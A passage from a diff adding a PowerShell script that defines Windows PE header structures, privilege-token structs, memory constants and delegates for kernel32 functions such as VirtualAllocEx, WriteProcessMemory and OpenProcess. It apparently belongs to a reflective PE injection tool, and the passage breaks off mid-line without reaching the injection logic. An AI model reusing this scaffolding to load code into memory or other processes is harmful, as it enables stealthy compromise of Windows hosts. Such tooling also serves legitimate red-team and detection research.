($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty 